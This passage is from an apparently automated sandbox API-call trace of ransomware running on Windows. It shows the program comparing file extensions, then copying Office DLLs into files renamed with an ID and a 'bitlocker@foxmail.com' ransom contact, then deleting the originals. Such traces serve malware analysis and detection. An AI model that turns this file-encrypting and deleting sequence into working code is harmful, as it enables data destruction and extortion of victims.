Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0183.510] lstrlenW (lpString=".1cd") returned 4 [0183.510] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0183.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0183.510] lstrlenW (lpString=".jpg") returned 4 [0183.510] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0183.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0183.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0183.510] lstrlenW (lpString=".doc") returned 4 [0183.510] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0183.510] lstrlenW (lpString=".docx") returned 5 [0183.510] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0183.510] lstrlenW (lpString=".pdf") returned 4 [0183.510] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0183.510] lstrlenW (lpString=".xls") returned 4 [0183.510] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0183.510] lstrlenW (lpString=".xlsx") returned 5 [0183.510] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0183.510] lstrlenW (lpString=".ppt") returned 4 [0183.510] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0183.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0183.510] lstrlenW (lpString=".zip") returned 4 [0183.510] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0183.510] lstrlenW (lpString=".rar") returned 4 [0183.510] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0183.510] lstrlenW (lpString=".bz2") returned 4 [0183.511] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0183.511] lstrlenW (lpString=".7z") returned 3 [0183.511] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0183.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0183.511] lstrlenW (lpString=".dbf") returned 4 [0183.511] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0183.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0183.511] lstrlenW (lpString=".1cd") returned 4 [0183.511] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0183.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0183.511] lstrlenW (lpString=".jpg") returned 4 [0183.511] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0183.511] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0183.511] lstrlenW (lpString="ACEODDBS.DLL") returned 12 [0183.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0183.512] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=15800) returned 1 [0183.512] CloseHandle (hObject=0x1f4) returned 1 [0183.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 0x20 [0183.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0183.512] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.512] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.836] GetLastError () returned 0x0 [0183.836] ReadFile (in: hFile=0x1f4, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x3db8, lpOverlapped=0x0) returned 1 [0183.838] WriteFile (in: hFile=0x1e0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0183.839] ReadFile (in: hFile=0x1f4, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0183.839] WriteFile (in: hFile=0x1e0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xec, lpOverlapped=0x0) returned 1 [0183.839] SetEndOfFile (hFile=0x1e0) returned 1 [0184.496] CloseHandle (hObject=0x1e0) returned 1 [0184.619] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0184.619] SetEndOfFile (hFile=0x1f4) returned 1 [0184.620] CloseHandle (hObject=0x1f4) returned 1 [0184.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0184.620] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 1 [0184.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0184.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0184.620] lstrlenW (lpString=".doc") returned 4 [0184.620] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0184.620] lstrlenW (lpString=".docx") returned 5 [0184.620] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0184.620] lstrlenW (lpString=".pdf") returned 4 [0184.620] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0184.620] lstrlenW (lpString=".xls") returned 4 [0184.621] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0184.621] lstrlenW (lpString=".xlsx") returned 5 [0184.621] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0184.621] lstrlenW (lpString=".ppt") returned 4 [0184.629] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0184.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0184.629] lstrlenW (lpString=".zip") returned 4 [0184.629] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0184.629] lstrlenW (lpString=".rar") returned 4 [0184.629] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0184.629] lstrlenW (lpString=".bz2") returned 4 [0184.629] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0184.629] lstrlenW (lpString=".7z") returned 3 [0184.630] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0184.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0184.630] lstrlenW (lpString=".dbf") returned 4 [0184.630] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0184.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0184.630] lstrlenW (lpString=".1cd") returned 4 [0184.630] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0184.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0184.630] lstrlenW (lpString=".jpg") returned 4 [0184.630] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0184.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0184.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0184.630] lstrlenW (lpString=".doc") returned 4 [0184.630] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0184.630] lstrlenW (lpString=".docx") returned 5 [0184.631] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0184.631] lstrlenW (lpString=".pdf") returned 4 [0184.631] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0184.631] lstrlenW (lpString=".xls") returned 4 [0184.653] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0184.654] lstrlenW (lpString=".xlsx") returned 5 [0184.654] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0184.654] lstrlenW (lpString=".ppt") returned 4 [0184.654] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0184.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0184.654] lstrlenW (lpString=".zip") returned 4 [0184.654] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0184.654] lstrlenW (lpString=".rar") returned 4 [0184.654] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0184.654] lstrlenW (lpString=".bz2") returned 4 [0184.654] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0184.654] lstrlenW (lpString=".7z") returned 3 [0184.654] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0184.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0184.654] lstrlenW (lpString=".dbf") returned 4 [0184.654] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0184.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0184.654] lstrlenW (lpString=".1cd") returned 4 [0184.654] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0184.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0184.654] lstrlenW (lpString=".jpg") returned 4 [0184.654] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0184.654] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0184.654] lstrlenW (lpString="ACER3X.DLL") returned 10 [0184.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0184.655] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=451480) returned 1 [0184.655] CloseHandle (hObject=0x1d0) returned 1 [0184.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 0x20 [0184.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0184.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0184.655] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0184.655] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0184.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0184.658] GetLastError () returned 0x0 [0184.658] ReadFile (in: hFile=0x1d0, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x6e398, lpOverlapped=0x0) returned 1 [0184.771] WriteFile (in: hFile=0x1f4, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x6e3a0, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x6e3a0, lpOverlapped=0x0) returned 1 [0184.778] ReadFile (in: hFile=0x1d0, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0184.778] WriteFile (in: hFile=0x1f4, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0184.778] SetEndOfFile (hFile=0x1f4) returned 1 [0185.097] CloseHandle (hObject=0x1f4) returned 1 [0185.097] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.097] SetEndOfFile (hFile=0x1d0) returned 1 [0185.101] CloseHandle (hObject=0x1d0) returned 1 [0185.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.101] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 1 [0185.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0185.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0185.303] lstrlenW (lpString=".doc") returned 4 [0185.303] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0185.303] lstrlenW (lpString=".docx") returned 5 [0185.303] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0185.303] lstrlenW (lpString=".pdf") returned 4 [0185.303] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0185.303] lstrlenW (lpString=".xls") returned 4 [0185.303] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0185.303] lstrlenW (lpString=".xlsx") returned 5 [0185.303] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0185.303] lstrlenW (lpString=".ppt") returned 4 [0185.303] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0185.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0185.303] lstrlenW (lpString=".zip") returned 4 [0185.303] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0185.303] lstrlenW (lpString=".rar") returned 4 [0185.303] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0185.303] lstrlenW (lpString=".bz2") returned 4 [0185.303] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0185.303] lstrlenW (lpString=".7z") returned 3 [0185.303] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0185.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0185.304] lstrlenW (lpString=".dbf") returned 4 [0185.304] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0185.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0185.304] lstrlenW (lpString=".1cd") returned 4 [0185.304] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0185.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0185.304] lstrlenW (lpString=".jpg") returned 4 [0185.304] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0185.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0185.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0185.304] lstrlenW (lpString=".doc") returned 4 [0185.304] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0185.304] lstrlenW (lpString=".docx") returned 5 [0185.304] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0185.304] lstrlenW (lpString=".pdf") returned 4 [0185.304] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0185.304] lstrlenW (lpString=".xls") returned 4 [0185.304] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0185.304] lstrlenW (lpString=".xlsx") returned 5 [0185.304] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0185.304] lstrlenW (lpString=".ppt") returned 4 [0185.304] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0185.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0185.304] lstrlenW (lpString=".zip") returned 4 [0185.304] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0185.304] lstrlenW (lpString=".rar") returned 4 [0185.304] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0185.304] lstrlenW (lpString=".bz2") returned 4 [0185.304] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0185.304] lstrlenW (lpString=".7z") returned 3 [0185.304] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0185.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0185.305] lstrlenW (lpString=".dbf") returned 4 [0185.305] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0185.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0185.305] lstrlenW (lpString=".1cd") returned 4 [0185.305] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0185.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0185.305] lstrlenW (lpString=".jpg") returned 4 [0185.305] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0185.305] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0185.305] lstrlenW (lpString="ACETXT.DLL") returned 10 [0185.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0186.679] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x378ff1c | out: lpFileSize=0x378ff1c*=297360) returned 1 [0186.679] CloseHandle (hObject=0x1dc) returned 1 [0186.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 0x20 [0186.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0186.679] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.680] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0186.680] GetLastError () returned 0x0 [0186.680] ReadFile (in: hFile=0x1dc, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x48990, lpOverlapped=0x0) returned 1 [0186.721] WriteFile (in: hFile=0x1c0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0x489a0, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0x489a0, lpOverlapped=0x0) returned 1 [0186.727] ReadFile (in: hFile=0x1dc, lpBuffer=0x4140020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fed4, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesRead=0x378fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.727] WriteFile (in: hFile=0x1c0, lpBuffer=0x4140020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x378fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4140020*, lpNumberOfBytesWritten=0x378fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0186.727] SetEndOfFile (hFile=0x1c0) returned 1 [0186.727] CloseHandle (hObject=0x1c0) returned 1 [0186.727] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.727] SetEndOfFile (hFile=0x1dc) returned 1 [0186.730] CloseHandle (hObject=0x1dc) returned 1 [0186.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.731] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 1 [0186.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0186.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0186.731] lstrlenW (lpString=".doc") returned 4 [0186.731] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0186.731] lstrlenW (lpString=".docx") returned 5 [0186.731] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0186.731] lstrlenW (lpString=".pdf") returned 4 [0186.731] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0186.731] lstrlenW (lpString=".xls") returned 4 [0186.731] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0186.731] lstrlenW (lpString=".xlsx") returned 5 [0186.731] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0186.731] lstrlenW (lpString=".ppt") returned 4 [0186.731] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0186.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0186.731] lstrlenW (lpString=".zip") returned 4 [0186.731] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0186.731] lstrlenW (lpString=".rar") returned 4 [0186.732] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0186.732] lstrlenW (lpString=".bz2") returned 4 [0186.732] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0186.732] lstrlenW (lpString=".7z") returned 3 [0186.732] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0186.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0186.732] lstrlenW (lpString=".dbf") returned 4 [0186.732] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0186.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0186.732] lstrlenW (lpString=".1cd") returned 4 [0186.732] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0186.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0186.732] lstrlenW (lpString=".jpg") returned 4 [0186.732] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0186.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0186.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0186.732] lstrlenW (lpString=".doc") returned 4 [0186.732] lstrcmpiW 